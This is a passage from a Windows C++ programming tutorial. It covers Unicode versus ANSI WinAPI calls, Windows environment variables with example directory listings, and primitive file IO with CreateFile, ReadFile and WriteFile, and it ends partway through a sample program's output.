// ===========> EXPERIMENT 2 - Print to File ============//
std::cout << "\n ===>>> EXPERIMENT 2: Write non ANSI Chars to File <<<=== " << "\n";
std::stringstream ss;
ss << " Text in Cyrllic Script: Если указан параметр  " << "\n"
   << " Text in Chinese Script: 读写汉字1 " << "\n"
   << "\n";

auto dfile = std::ofstream("logging.txt");
dfile << ss.str() << std::flush;

Output: file - loggin.txt

  • By opening the file logging.txt with notepad.exe, it is possible view all characters as show in the following block.
Text in Cyrllic Script: Если указан параметр  
Text in Chinese Script: 读写汉字1 

Experiment 3 - WinAPI - CreateDirectory

This code experiment attempts to create 3 directories:

  • Directory: directoryANSI-读写汉字1 with CreateDirectoryA function (ANSI version of the underlying API)
  • Directory: directoryWCHAR-读写汉字 with CreateDirectoryW (Unicode version of the API).
  • Directory: directoryTCHAR-读写汉字 with CreateDirectory macro which is expanded to CreateDirectoryW when UNICODE is defined, othewise it is expanded to CreateDirectoryA.
   // ===========> EXPERIMENT 4 - WinAPI - CreateDirectory ============//
   std::cout << "\n ===>>> EXPERIMENT 3: WinAPI CreateDirectory <<<=== " << std::endl;

   { // -- ANSI Version of CreateDirectory API 
       bool res;
       res = CreateDirectoryA("directoryANSI-读写汉字1", NULL);
       std::cout << "Successful 1 ?=  " << std::boolalpha << res << std::endl;
   }

   {  // -- Unicode (UTF16) - Wide character version of CreateDirectory API 
       bool res;
       res = CreateDirectoryW(L"directoryWCHAR-读写汉字", NULL);
       std::cout << "Successful 2 ?= " << std::boolalpha << res << std::endl;       
   }
   {
      // -- TCHAR Version Wide character version of CreateDirectory API 
      bool res;

      #ifdef UNICODE
        std::cout << " [INFO] UNICODE (UTF16) CreateDirectory expanded to CreateDirectoryW" << std::endl;
      #else
        std::cout << " [INFO] ANSI CreateDirectory expanded to CreateDirectoryA" << std::endl;
      #endif
      res = CreateDirectory(_T("directoryTCHAR-读写汉字"), NULL);
      std::cout << "Successful 3 ?= " << std::boolalpha << res << std::endl;        
}

Output when compiling without -DWITH_UNICODE:

 $ g++ winapi-encoding1.cpp -o out-gcc.exe -std=c++14  && out-gcc.exe 

 ... ....  ... 
 ===>>> EXPERIMENT 3: WinAPI CreateDirectory <<<=== 
Successful 1 ?=  true
Successful 2 ?= true
 [INFO] ANSI CreateDirectory expanded to CreateDirectoryA
Successful 3 ?= true
 ... ....  ... 

Directories created:

  • [FAILED] directoryANSI-读写汉字1
  • [SUCCESS] directoryWCHAR-读写汉字
    • Only the Unicode (CreateDirectoryW) function works, the ANSI function CreateDirectoryA fails even if the string is encoded with UTF-8.
  • [FAILED] directoryTCHAR-读写汉字
    • Without UNICODE flag, CreateDirectory expands to CreateDirectoryA.

Output when compiling without -DWITH_UNICODE:

 $ g++ winapi-encoding1.cpp -o out-gcc.exe -std=c++14 -DWITH_UNICODE  && out-gcc.exe 

    ... .... ... ... ...   
 ===>>> EXPERIMENT 3: WinAPI CreateDirectory <<<=== 
Successful 1 ?=  true
Successful 2 ?= true
 [INFO] UNICODE (UTF16) CreateDirectory expanded to CreateDirectoryW
Successful 3 ?= true
    ... .... ... ... ...   

Directories created:

  • [FAILED] directoryANSI-读写汉字1
  • [SUCCESS] directoryWCHAR-读写汉字
  • [SUCCESS] directoryTCHAR-读写汉字

Experiment 4 - WinAPI MessageBox function.

// ===========> EXPERIMENT 4 - WinAPI - MessageBox ============//
std::cout << "\n ===>>> EXPERIMENT 4: MessageBox <<<=== " << std::endl;

DWORD const infoboxOptions  = MB_OK | MB_ICONINFORMATION | MB_SETFOREGROUND;
// Text in UTF8 => Note => Windows API doesn't work with UTF8
// or multi-byte characters as the API treats the chars as they were ANSI.
char narrowText []  = "한국어 (Korean) / 读写汉字 - 学中文 (Chinese)";
// Unicode text in UTF16 
wchar_t wideText []  = L"한국어 (Korean) /  读写汉字 - 学中文 (Chinese)";
MessageBoxA( 0, narrowText, "ANSI (narrow) text:", infoboxOptions );    
MessageBoxW( 0, wideText, L"Unicode (wide) text:", infoboxOptions );

Output of MessageBoxA (failure, it cannot deal with unicode UTF-8 chars):

messagebox-ansi1.png

Output of MessageBoxW (success):

messagebox-unicode1.png

1.10 Environment Variables

1.10.1 Overview

Environment variables are a set of key-value pairs that can be set by a command line shell or by a parent process for passing configuration and runtime parameters to applications, subprocesses and shared libraries. They are also useful for obtaining user information and locating the path of system directories.

Windows APIs for enviroment variables:

Useful Windows commands (cmd.exe) for environment variables:

  • $ set => Show all environment variables
  • $ echo %PATH% => Show PATH environment variables.
  • $ set PATH=C:\\app\bin\%PATH% => Set path environment variable.
  • $ set CREDENTIAL=PASS => Set environemnt variable CREDENTIAL with value PASS.

Most important environemnt variables

  • SystemDriver => Equivalent to Unix / (slash) root directory.
$ echo %SystemDrive%
C:
  • SystemRoot => Path to Windows directory.
$ echo %SystemRoot%
C:\Windows
  • Windir => Same as SystemRoot.
$ echo %WinDir%
C:\Windows
  • System32 folder (64 bits applications)
$ echo "%SystemRoot%\System32"
"C:\Windows\System32"
  • SysWOW64 folder (32 bits applications)
    • Some files: regedit.exe (Registry editor), wscript.exe, write.exe, wusa.exe, where.exe, whoami.exe, WF.msc, tracert.exe, tracerpt.exe, tpm.msc, tcmsetup.exe, taskmgr.exe (Task Manager), runas.exe, rundll32.exe and o on.
    • See: File System Redirector
    • See: The SysWOW64 explained
$ echo "%SystemRoot%\SysWOW64"
"C:\Windows\SysWOW64"
  • ProgramFiles => Directory where 64 bits applications (Windows NT 64 bits) are installed.
$ echo %ProgramFiles%
C:\Program Files
  • ProgramFiles(x86) => Directory where are installed 32-bits x86 applications. Note: x86 applications can only access up to 4GB of RAM and cannot fully harness all hardware resources.
$ echo %ProgramFiles(x86)%
C:\Program Files (x86)o
  • CommonProgramFiles
$ echo "%CommonProgramFiles%"
"C:\Program Files\Common Files"
  • CommonProgramFiles(x86)
$ echo "%CommonProgramFiles(x86)%"
"C:\Program Files (x86)\Common Files"
  • ProgramData
$ echo %ProgramData%
C:\ProgramData
  • DriverData
$ echo "%DriverData%"
"C:\Windows\System32\Drivers\DriverData"
  • UserProfile => Path to current user's data directory, similar to Unix $HOME enviroment variable.
    • Note: The application 'ls' (ported from Unix) is not Windows native. It was used because the command 'dir' does not fully shows the user directory since it hides the files and directories 'ntuser.init', 'ntuser.dat', 'Applications Data/', 'Start Menu/', 'SendTo', and so on.
$ echo %UserProfile%
C:\Users\ha3mx
  • Temp => Directory for temporary files. Equivalent to Unix /tmp
$ echo %TEMP%
C:\Users\h03fx\AppData\Local\Temp
  • APPDATA =>
$ echo %AppData%
C:\Users\h03fx\AppData\Roaming
  • LOCALAPPDATA =>
$ echo %LOCALAPPDATA%
C:\Users\h03fx\AppData\Local
  • USERNAME => Name of current user account.
% echo %USERNAME%
hafcx 
  • USERDOMAIN
$ echo %USERDOMAIN%
DESKTOP-GMXQCB6

Directory Exploration

  • Directory: %SystemDriver% (using dir command)
$ dir %SystemDrive%\
 Volume in drive C has no label.
 Volume Serial Number is BC40-DCC4

 Directory of C:\

03/18/2019  09:52 PM    <DIR>          PerfLogs
02/06/2021  02:38 AM    <DIR>          Program Files
01/08/2021  08:25 AM    <DIR>          Program Files (x86)
01/05/2021  02:47 AM    <DIR>          Temp
01/05/2021  02:15 AM    <DIR>          Users
01/08/2021  03:08 PM    <DIR>          Windows
               0 File(s)              0 bytes
               6 Dir(s)  87,119,368,192 bytes free
  • Directory: %SystemDriver% (using Unix 'ls' applications that comes with GIT)
$ ls -la %SystemDrive%\
total 2660600
drwxr-xr-x 1 hafcx 197121          0 Jan  5 18:01 '$Recycle.Bin'/
drwxr-xr-x 1 hafcx 197121          0 May  3 03:37 '$WINDOWS.~BT'/
drwxr-xr-x 1 hafcx 197121          0 May  3 03:18 '$WinREAgent'/
drwxr-xr-x 1 hafcx 197121          0 May  3  2021  ./
drwxr-xr-x 1 hafcx 197121          0 May  3  2021  ../
drwxr-xr-x 1 hafcx 197121          0 May  3  2021  Config.Msi/
lrwxrwxrwx 1 hafcx 197121          8 Jan  5 00:22 'Documents and Settings' -> /c/Users/
-rw-r--r-- 1 hafcx 197121 1717768192 May  3 03:11  hiberfil.sys
-rw-r--r-- 1 hafcx 197121  738197504 May  3 03:11  pagefile.sys
drwxr-xr-x 1 hafcx 197121          0 Mar 18  2019  PerfLogs/
drwxr-xr-x 1 hafcx 197121          0 Feb  6 01:38 'Program Files'/
drwxr-xr-x 1 hafcx 197121          0 Jan  8 07:25 'Program Files (x86)'/
drwxr-xr-x 1 hafcx 197121          0 Jan  8 07:33  ProgramData/
drwxr-xr-x 1 hafcx 197121          0 Jan  5 00:22  Recovery/
-rw-r--r-- 1 hafcx 197121  268435456 May  3 03:11  swapfile.sys
drwxr-xr-x 1 hafcx 197121          0 Jan  5 00:27 'System Volume Information'/
drwxr-xr-x 1 hafcx 197121          0 Jan  5 01:47  Temp/
drwxr-xr-x 1 hafcx 197121          0 Jan  5 01:15  Users/
drwxr-xr-x 1 hafcx 197121          0 Jan  8 14:08  Windows/
  • Directory: %ProgramData%
λ dir %ProgramData%
 Volume in drive C has no label.
 Volume Serial Number is CA82-ED51

 Directory of C:\ProgramData

03/03/2021  04:35 PM    <DIR>          chocolatey
01/05/2021  01:49 AM    <DIR>          Microsoft OneDrive
01/06/2021  05:27 AM    <DIR>          Microsoft Visual Studio
01/06/2021  12:55 PM    <DIR>          Mozilla
01/06/2021  05:45 AM    <DIR>          Package Cache
02/04/2021  05:02 PM    <DIR>          Packages
01/05/2021  06:14 PM    <DIR>          qemu-ga
05/03/2021  03:53 AM    <DIR>          regid.1991-06.com.microsoft
01/08/2021  08:33 AM    <DIR>          shimgen
03/18/2019  09:52 PM    <DIR>          SoftwareDistribution
01/05/2021  02:55 AM    <DIR>          USOPrivate
01/05/2021  01:17 AM    <DIR>          USOShared
01/06/2021  05:46 AM    <DIR>          Windows App Certification Kit
03/18/2019  11:23 PM    <DIR>          WindowsHolographicDevices
               0 File(s)              0 bytes
              14 Dir(s)  92,218,159,104 bytes free
  • Directory: %ProgramFiles%
$ dir "%ProgramFiles%"
 Volume in drive C has no label.

 Directory of C:\Program Files

02/06/2021  02:38 AM    <DIR>          .
03/18/2019  10:02 PM    <DIR>          Common Files
01/06/2021  05:58 AM    <DIR>          dotnet
03/18/2019  11:21 PM    <DIR>          Internet Explorer
03/03/2021  04:13 PM    <DIR>          Microsoft Update Health Tools
03/18/2019  09:52 PM    <DIR>          ModifiableWindowsApps
  ... ... ... ... ... ... ... ... 
 .... ... ... ... .. .... ... ... 
03/18/2019  10:02 PM    <DIR>          Windows NT
03/18/2019  11:23 PM    <DIR>          Windows Photo Viewer
03/18/2019  11:23 PM    <DIR>          Windows Portable Devices
03/18/2019  09:52 PM    <DIR>          Windows Security
03/18/2019  09:52 PM    <DIR>          WindowsPowerShell
  • Directory: %ProgramFiles(x86)%
$ dir "%ProgramFiles(x86)%"
 Volume in drive C has no label.

 Directory of C:\Program Files (x86)

01/08/2021  08:25 AM    <DIR>          .
01/08/2021  08:25 AM    <DIR>          ..
01/06/2021  05:45 AM    <DIR>          Application Verifier
01/08/2021  08:26 AM    <DIR>          CodeBlocks
01/06/2021  05:52 AM    <DIR>          Common Files
01/06/2021  05:56 AM    <DIR>          dotnet
01/06/2021  05:50 AM    <DIR>          HTML Help Workshop
03/18/2019  11:21 PM    <DIR>          Internet Explorer
01/06/2021  05:59 AM    <DIR>          Microsoft SDKs
01/06/2021  05:32 AM    <DIR>          Microsoft Visual Studio
01/06/2021  05:55 AM    <DIR>          Microsoft.NET
01/08/2021  03:08 PM    <DIR>          Mozilla Maintenance Service
01/06/2021  05:32 AM    <DIR>          MSBuild
01/06/2021  05:46 AM    <DIR>          Reference Assemblies
01/05/2021  06:14 PM    <DIR>          SPICE Guest Tools
03/18/2019  11:20 PM    <DIR>          Windows Defender
01/06/2021  05:52 AM    <DIR>          Windows Kits
 ... ...  ... ...  ... ...  ... ...  ... ...  ... ... 
 ... ...  ... ...  ... ...  ... ...  ... ...  ... ... 
  • Directory: %UserProfile% => Windows HOME directory for current user.
    • Note: NTUSER.DAT is the Windows registry file of current logged user.
    • Note: This file is not shown with the Windows command line '$ dir'.
$ ls "%UserProfile%"
'3D Objects'/
 AppData/
'Application Data'@
 Contacts/
 Cookies@
 Desktop/
 Documents/
 Downloads/
 Favorites/
 Links/
'Local Settings'@
 MicrosoftEdgeBackups/
 Music/
'My Documents'@
 NetHood@
 NTUSER.DAT
 ntuser.dat.LOG1
 ntuser.dat.LOG2
 NTUSER.DAT{fd9a35da-3abd-11e9-aa2c-908c07783950}.TxR.0.regtrans-ms
 NTUSER.DAT{fd9a35da-3abd-11e9-aa2c-908c07783950}.TxR.1.regtrans-ms
 NTUSER.DAT{fd9a35da-3abd-11e9-aa2c-908c07783950}.TxR.2.regtrans-ms
 NTUSER.DAT{fd9a35da-3abd-11e9-aa2c-908c07783950}.TxR.blf
 NTUSER.DAT{fd9a35db-3abd-11e9-aa2c-908c07783950}.TM.blf
 NTUSER.DAT{fd9a35db-3abd-11e9-aa2c-908c07783950}.TMContainer00000000000000000001.regtrans-ms
 NTUSER.DAT{fd9a35db-3abd-11e9-aa2c-908c07783950}.TMContainer00000000000000000002.regtrans-ms
 ntuser.ini
 OneDrive/
 Pictures/
 PrintHood@
 Recent@
'Saved Games'/
 scoop/
 Searches/
 SendTo@
'Start Menu'@
 Templates@
 Videos/
  • Directory: %UserProfile%\Start Menu\Programs
$ ls  "%UserProfile%\Start Menu\Programs"
 Accessibility/          'Anaconda3 (64-bit)'/   Maintenance/    Startup/
 Accessories/             CodeBlocks/            OneDrive.lnk*  'System Tools'/
'Administrative Tools'/   desktop.ini           'Scoop Apps'/   'Windows PowerShell'/

$ ls  "%UserProfile%\Start Menu\Programs\System Tools"
'Administrative Tools.lnk'*   computer.lnk*         Desktop.ini           Run.lnk*
'Command Prompt.lnk'*        'Control Panel.lnk'*  'File Explorer.lnk'*

$ ls  "%UserProfile%\Start Menu\Programs\Startup"
desktop.ini
  • Directory: %UserProfile%/AppData
$ ls "%UserProfile%/AppData/"
Local/  LocalLow/  Roaming/

$ ls "%UserProfile%/AppData/Local"
'Application Data'@          IconCache.db     pip/
 clink/                      Microsoft/       PlaceholderTileLogoFolder/
 CMakeTools/                 MicrosoftEdge/   Publishers/
 Comms/                      Mozilla/         ServiceHub/
 ConnectedDevicesPlatform/   NuGet/           Temp/
 D3DSCache/                  Packages/       'Temporary Internet Files'@
 History@                    PeerDistRepub/   VirtualStore/

$ ls "%UserProfile%/AppData/Roaming"
 Adobe/              Microsoft/                  NuGet/
'Code - Insiders'/  'Microsoft Visual Studio'/  'Visual Studio Setup'/
 CodeBlocks/         Mozilla/                    vstelemetry/
  • Directory: %UserProfile%/SendTo
$ ls "%UserProfile%/SendTo/
'Bluetooth File Transfer.LNK'*                Documents.mydocs
'Compressed (zipped) Folder.ZFSendToTarget'  'Fax Recipient.lnk'*
'Desktop (create shortcut).DeskLink'         'Mail Recipient.MAPIMail'
 Desktop.ini

1.10.2 Usage of Windows environemnt variables

Environment variables can be used for global configuration, enable/disable logging detail output, setting application credentials and locating system directories. This program displays several Windows environment variables by calling the subroutines std::getenv() (standardized) and GetEvironmentVariable(). The application also demonstrates how environment variables can be used for changing the program behavior at startup time.

File: windows-envvars.cpp

#include <iostream>
#include <string>
#include <cassert>

#include <windows.h>

//Note: std::get_envvar() is cross-platofrm and standardized.
std::string
get_envvar(std::string const& name)
{
     const char* p = std::getenv(name.c_str());
     if( p == nullptr){ return ""; }
     return p;
}

void 
show_envvar(std::string const& name)
{
    auto s = get_envvar(name);
    std::cout << " [ENV] " << name << " = " << s << '\n';
}

std::string
get_envvar2(std::string const& name)
{
  //Buffer max size in bytes 
  constexpr size_t maximum_size = 32767;
  std::string buffer(maximum_size, '\0');
  DWORD nread = ::GetEnvironmentVariableA(name.c_str(), buffer.data(), maximum_size);
  if(nread == 0){ return ""; } 
  buffer.resize(nread);
  return buffer;
}


void 
show_envvar2(std::string const& name)
{
    auto s = get_envvar2(name);
    std::cout << " [ENV2] " << name << " = " << s << '\n';
}

bool is_logging_enabled()
{
    // Initialized only once. 
    static const bool enabled = []{
        auto var = get_envvar2("LOGGING_ENABLED");
        return var == "TRUE";
    }();
    return enabled;
}

void display_factorial(int n)
{
  int p = 1;
  for(int i = 1; i < n + 1; i++)
  {
      p = p * i;

      if( is_logging_enabled())
      { std::cout << " [TRACE] p = " << p << '\n'; } 
  }

  std::cout << " [RESULT] factorial( " << n << " ) = " << p << '\n';
}

int main()
{
   std::puts("\n ============= EXPERIMENT 1 ==============");
   show_envvar("SystemDrive");
   show_envvar("USERPROFILE");
   show_envvar("USERNAME");
   show_envvar("USERDOMAIN");      
   show_envvar("WINDIR");
   show_envvar("PROGRAMDATA");   
   show_envvar("SystemRoot");
   show_envvar("AppData");
   show_envvar("LocalAppData");
   show_envvar("Temp");
   show_envvar("ProgramFiles");
   show_envvar("ProgramFiles(x86)");
   show_envvar("CommonProgramFiles");
   show_envvar("CommonProgramFiles(x86)");

   show_envvar("CUSTOM_USER_SUPPLIED");   

   std::puts("\n  ============= EXPERIMENT 2 ==============");
   show_envvar2("SystemDrive");
   show_envvar2("USERPROFILE");
   show_envvar2("USERNAME");
   show_envvar2("USERDOMAIN");      
   show_envvar2("WINDIR");
   show_envvar2("PROGRAMDATA");   
   show_envvar2("SystemRoot");
   show_envvar2("AppData");
   show_envvar2("LocalAppData");
   show_envvar2("Temp");
   show_envvar2("ProgramFiles");
   show_envvar2("ProgramFiles(x86)");
   show_envvar2("CommonProgramFiles");
   show_envvar2("CommonProgramFiles(x86)");

   show_envvar2("CUSTOM_USER_SUPPLIED");

   std::puts("====== RUNTIME CONFIGURATION DEMO ========");
   display_factorial(5);

   return 0;
}
  • Building with Mingw from command line:
$ g++ windows-envvars.cpp -o out.exe -std=c++1z -Wall -Wextra -g 
  • First run without setting custom environment variables.
$ .\out.exe

 ============= EXPERIMENT 1 ==============
 [ENV] SystemDrive = C:
 [ENV] USERPROFILE = C:\Users\hcf5
 [ENV] USERNAME = hcf5
 [ENV] USERDOMAIN = DESKTOP-GXMQDB8
 [ENV] WINDIR = C:\Windows
 [ENV] PROGRAMDATA = C:\ProgramData
 [ENV] SystemRoot = C:\Windows
 [ENV] AppData = C:\Users\hcf5\AppData\Roaming
 [ENV] LocalAppData = C:\Users\hcf5\AppData\Local
 [ENV] Temp = C:\Users\hcf5\AppData\Local\Temp
 [ENV] ProgramFiles = C:\Program Files
 [ENV] ProgramFiles(x86) = C:\Program Files (x86)
 [ENV] CommonProgramFiles = C:\Program Files\Common Files
 [ENV] CommonProgramFiles(x86) = C:\Program Files (x86)\Common Files
 [ENV] CUSTOM_USER_SUPPLIED =

  ============= EXPERIMENT 2 ==============
 [ENV2] SystemDrive = C:
 [ENV2] USERPROFILE = C:\Users\hcf5
 [ENV2] USERNAME = hcf5
 [ENV2] USERDOMAIN = DESKTOP-GXMQDB8
 [ENV2] WINDIR = C:\Windows
 [ENV2] PROGRAMDATA = C:\ProgramData
 [ENV2] SystemRoot = C:\Windows
 [ENV2] AppData = C:\Users\hcf5\AppData\Roaming
 [ENV2] LocalAppData = C:\Users\hcf5\AppData\Local
 [ENV2] Temp = C:\Users\hcf5\AppData\Local\Temp
 [ENV2] ProgramFiles = C:\Program Files
 [ENV2] ProgramFiles(x86) = C:\Program Files (x86)
 [ENV2] CommonProgramFiles = C:\Program Files\Common Files
 [ENV2] CommonProgramFiles(x86) = C:\Program Files (x86)\Common Files
 [ENV2] CUSTOM_USER_SUPPLIED =
======== CONFIG TEST =================
 [RESULT] factorial( 5 ) = 120
  • Second run after setting custom environment variables.
$ set CUSTOM_USER_SUPPLIED="Hello world! (EN) ola mundo! (PT) hola mundo! (ES) - hallo Welt! (DE)"
$ set LOGGING_ENABLED=TRUE

λ .\out.exe

 ============= EXPERIMENT 1 ==============
 [ENV] SystemDrive = C:
 [ENV] USERPROFILE = C:\Users\hcf5
 [ENV] USERNAME = hcf5
 [ENV] USERDOMAIN = DESKTOP-GXMQDB8
 [ENV] WINDIR = C:\Windows
 [ENV] PROGRAMDATA = C:\ProgramData
 [ENV] SystemRoot = C:\Windows
 [ENV] AppData = C:\Users\hcf5\AppData\Roaming
 [ENV] LocalAppData = C:\Users\hcf5\AppData\Local
 [ENV] Temp = C:\Users\hcf5\AppData\Local\Temp
 [ENV] ProgramFiles = C:\Program Files
 [ENV] ProgramFiles(x86) = C:\Program Files (x86)
 [ENV] CommonProgramFiles = C:\Program Files\Common Files
 [ENV] CommonProgramFiles(x86) = C:\Program Files (x86)\Common Files
 [ENV] CUSTOM_USER_SUPPLIED = "Hello world! (EN) ola mundo! (PT) hola mundo! (ES) - hallo Welt! (DE)"

  ============= EXPERIMENT 2 ==============
 [ENV2] SystemDrive = C:
 [ENV2] USERPROFILE = C:\Users\hcf5
 [ENV2] USERNAME = hcf5
 [ENV2] USERDOMAIN = DESKTOP-GXMQDB8
 [ENV2] WINDIR = C:\Windows
 [ENV2] PROGRAMDATA = C:\ProgramData
 [ENV2] SystemRoot = C:\Windows
 [ENV2] AppData = C:\Users\hcf5\AppData\Roaming
 [ENV2] LocalAppData = C:\Users\hcf5\AppData\Local
 [ENV2] Temp = C:\Users\hcf5\AppData\Local\Temp
 [ENV2] ProgramFiles = C:\Program Files
 [ENV2] ProgramFiles(x86) = C:\Program Files (x86)
 [ENV2] CommonProgramFiles = C:\Program Files\Common Files
 [ENV2] CommonProgramFiles(x86) = C:\Program Files (x86)\Common Files
 [ENV2] CUSTOM_USER_SUPPLIED = "Hello world! (EN) ola mundo! (PT) hola mundo! (ES) - hallo Welt! (DE)"
======== CONFIG TEST =================
 [TRACE] p = 1
 [TRACE] p = 2
 [TRACE] p = 6
 [TRACE] p = 24
 [TRACE] p = 120
 [RESULT] factorial( 5 ) = 120

1.11 Primitive IO - Input/Ouput

1.11.1 Overview

Unlike Unix-based operating systems, Windows NT does not use open(), read(), creat(), close() primitive IO subroutines, instead this operating system uses CreateFIle(), ReadFile(), WriteFile(), CloseHandle(). Windows NT also has asynchronous primitive IO subroutines which does not block the current thread.

  • CreateFileA() / ANSI Version
    • Brief MSDN: "Creates or opens a file or I/O device. The most commonly used I/O devices are as follows: file, file stream, directory, physical disk, volume, console buffer, tape drive, communications resource, mailslot, and pipe. The function returns a handle that can be used to access the file or device for various types of I/O depending on the file or device and the flags and attributes specified."
 // ---- ANSI version -------------//
 HANDLE CreateFileA(
   LPCSTR                lpFileName,
   DWORD                 dwDesiredAccess,
   DWORD                 dwShareMode,
   LPSECURITY_ATTRIBUTES lpSecurityAttributes,
   DWORD                 dwCreationDisposition,
   DWORD                 dwFlagsAndAttributes,
   HANDLE                hTemplateFile
 );

// -- Unicode UTF-16 -----version ----//
HANDLE CreateFileW(
  LPCWSTR               lpFileName,
  DWORD                 dwDesiredAccess,
  DWORD                 dwShareMode,
  LPSECURITY_ATTRIBUTES lpSecurityAttributes,
  DWORD                 dwCreationDisposition,
  DWORD                 dwFlagsAndAttributes,
  HANDLE                hTemplateFile
);
  • ReadFile() - Read data from handle to buffer.
    • Brief: "Reads data from the specified file or input/output (I/O) device. Reads occur at the position specified by the file pointer if supported by the device. This function is designed for both synchronous and asynchronous operations. For a similar function designed solely for asynchronous operation, see ReadFileEx."
    • Note: The argument lpBuffer (void*) is a pointer to any contiguous memory location or any data without any internal pointer.
BOOL ReadFile(
  HANDLE       hFile,
  LPVOID       lpBuffer,
  DWORD        nNumberOfBytesToRead,
  LPDWORD      lpNumberOfBytesRead,
  LPOVERLAPPED lpOverlapped
);
  • WriteFile() - Write a buffer to handle.
    • Brief: "Writes data to the specified file or input/output (I/O) device. This function is designed for both synchronous and asynchronous operation. For a similar function designed solely for asynchronous operation, see WriteFileEx."
BOOL WriteFile(
  HANDLE       hFile,
  LPCVOID      lpBuffer,
  DWORD        nNumberOfBytesToWrite,
  LPDWORD      lpNumberOfBytesWritten,
  LPOVERLAPPED lpOverlapped
);
  • CloseHandle()
    • Brief: "Closes an open object handle."
    • This function can close all types of handles, including: file, I/O completion port, mutex, pipe, console input, console screen buffer, access token and so on.
BOOL CloseHandle(HANDLE hObject);

Other Windows APIs:

BOOL DeleteFileA(LPCSTR lpFileName);

BOOL DeleteFileW(LPCWSTR lpFileName);
  • CreateDirectoryA()
    • Brief: "Creates a new directory. If the underlying file system supports security on files and directories, the function applies a specified security descriptor to the new directory."
BOOL CreateDirectoryA(
  LPCSTR                lpPathName,
  LPSECURITY_ATTRIBUTES lpSecurityAttributes
);

1.11.2 Sample code

Files

File: primtive-io.cpp

#include <iostream>
#include <string>
#include <cassert>

#include <windows.h>

//Note: std::get_envvar() is cross-platofrm and standardized.
std::string
get_envvar(std::string const& name)
{
   const char* p = std::getenv(name.c_str());
   if( p == nullptr){
     throw std::runtime_error("Environment variable not found");
   }
   return std::string{p};
}

struct InventoryItem
{
   int    id;
   float  price;
   char   product[200];
};

void run_experiment1();
void run_experiment2();
void run_experiment3();

int main()
{
  std::puts("\n [EXPERIMENT 1] ===>> Create a text file with primitive IO ======");
  run_experiment1();

  std::puts("\n [EXPERIMENT 2] ===>> Create a binary file with structured data ======");
  run_experiment2();

  std::puts("\n [EXPERIMENT 3] ===>> Read a binary file containing structured data ===");
  run_experiment3();

  return 0;
}

void run_experiment1()
{
  const auto desktop_dir = get_envvar("USERPROFILE") + "\\Desktop";
  std::fprintf(stderr, " [TRACE] Desktop dir = %s \n", desktop_dir.c_str());

  const auto fpath = desktop_dir + "\\testfile.txt";
  std::fprintf(stderr, " [TRACE] File path = %s \n", fpath.c_str());

  HANDLE hFile = CreateFileA( fpath.c_str()          // File path
                             ,GENERIC_WRITE          // Open file for writing
                             ,0                      // File is not shared with any other process.
                             ,NULL                   // Use default security - It should be nullptr
                             ,CREATE_ALWAYS
                             ,FILE_ATTRIBUTE_NORMAL  // Normal file
                             ,NULL  );               // DO not use attribute

  assert( hFile != INVALID_HANDLE_VALUE && "Returned invalid handle.");

  constexpr size_t BUFFER_SIZE = 500;
  size_t len = 0;
  BOOL error_flag = FALSE;

  char buffer[BUFFER_SIZE];

  // Initialize buffer with null character
  memset(buffer, '\0', BUFFER_SIZE);

  // Copy string literal to buffer.
  strcpy(buffer, " =>> Buffer line 1 - test - Gotta love Windows NT \n");
  // Number of bytes until '\0' null character is found.
  len = strlen(buffer);
  error_flag = WriteFile(  hFile   // File handle to be writtern
                         , buffer  // Buffer to be written to file handle
                         , len     // Number of bytes to be written
                         , NULL    // [OUTPUT] Number of bytes written
                         , NULL    // No overlapped structure
                         );

  assert( error_flag == TRUE && "Unable to write");

  strcpy(buffer, " =>> C# CSharp, Dot net, Ponto NET - JAVA \n");
  len = strlen(buffer);
  WriteFile( hFile, buffer, len, NULL, NULL);
  assert( error_flag == TRUE && "Unable to write");
  // Close handle
  CloseHandle(hFile);
}

// Write binary data
void run_experiment2()
{
    InventoryItem item1;
    item1.id = 200;
    item1.price = 250.61;
    strcpy(item1.product, "Some unknown product");

    InventoryItem item2;
    item2.id = 976;
    item2.price = 1250.61;
    strcpy(item2.product, "Old fashioned feature phone XYZW");

    const auto desktop_dir = get_envvar("USERPROFILE") + "\\Desktop";
    const auto fpath = desktop_dir + "\\inventory.dat";

    HANDLE hFile = CreateFileA( fpath.c_str()
                             ,GENERIC_WRITE
                             ,0
                             ,NULL
                             ,CREATE_ALWAYS
                             ,FILE_ATTRIBUTE_NORMAL
                             ,NULL  );

    BOOL error_flag = FALSE;

    error_flag = WriteFile(hFile, &item1, sizeof(struct InventoryItem), NULL, NULL );
    assert( error_flag == TRUE && "Unable to write");

    error_flag = WriteFile(hFile, &item2, sizeof(struct InventoryItem), NULL, NULL );
    assert( error_flag == TRUE && "Unable to write");

    CloseHandle(hFile);
}

// Read binary data.
void run_experiment3()
{
    const auto desktop_dir = get_envvar("USERPROFILE") + "\\Desktop";
    const auto fpath = desktop_dir + "\\inventory.dat";

    // Open file for reading
    HANDLE hFile = CreateFileA( fpath.c_str()
                             ,GENERIC_READ
                             ,0
                             ,NULL
                             ,OPEN_EXISTING
                             ,FILE_ATTRIBUTE_NORMAL
                             ,NULL  );

    assert( hFile != INVALID_HANDLE_VALUE && "Returned invalid handle.");

    BOOL error_flag = FALSE;
    DWORD nbytes_read = 0;

    InventoryItem buffer;

    error_flag = ReadFile(hFile, &buffer, sizeof(struct InventoryItem)
                          , &nbytes_read, NULL);
    assert( error_flag == TRUE && "Unable to read.");
    assert( nbytes_read == sizeof(struct InventoryItem));

    std::fprintf( stderr, " [ITEM 1] Id = %d ; price = %f; product = %s \n"
                  , buffer.id, buffer.price, buffer.product);

    error_flag = ReadFile(hFile, &buffer, sizeof(struct InventoryItem)
                          , &nbytes_read, NULL);
    assert( error_flag == TRUE && "Unable to read.");
    assert( nbytes_read == sizeof(struct InventoryItem));

    std::fprintf( stderr, " [ITEM 2] Id = %d ; price = %f; product = %s \n"
                  , buffer.id, buffer.price, buffer.product);

    CloseHandle(hFile);

    std::cout << " [STATUS] Type return to terminate this application \n";
    std::string line;
    std::getline(std::cin, line);

    // Delete file 'inventory.dat'
    assert( DeleteFileA(fpath.c_str()) == TRUE );
}

Building

$ g++ primitive-io.cpp -o out.cmp -std=c++1z -Wall -Wextra -g -static

$ g++ primitive-io.cpp -o out.exe -std=c++1z -Wall -Wextra -g -static

Running

C:\Users\user_001\Desktop> out.cmp

 [EXPERIMENT 1] ===>> Create a text file with primitive IO ======
 [TRACE] Desktop dir = C:\Users\user_001\Desktop
 [TRACE] File path = C:\Users\user_001\Desktop\testfile.txt

 [EXPERIMENT 2] ===>> Create a binary file with structured data ======

 [EXPERIMENT 3] ===>> Read a binary file containing structured data ===
 [ITEM 1] Id = 200 ; price = 250.610001; product = Some unknown product
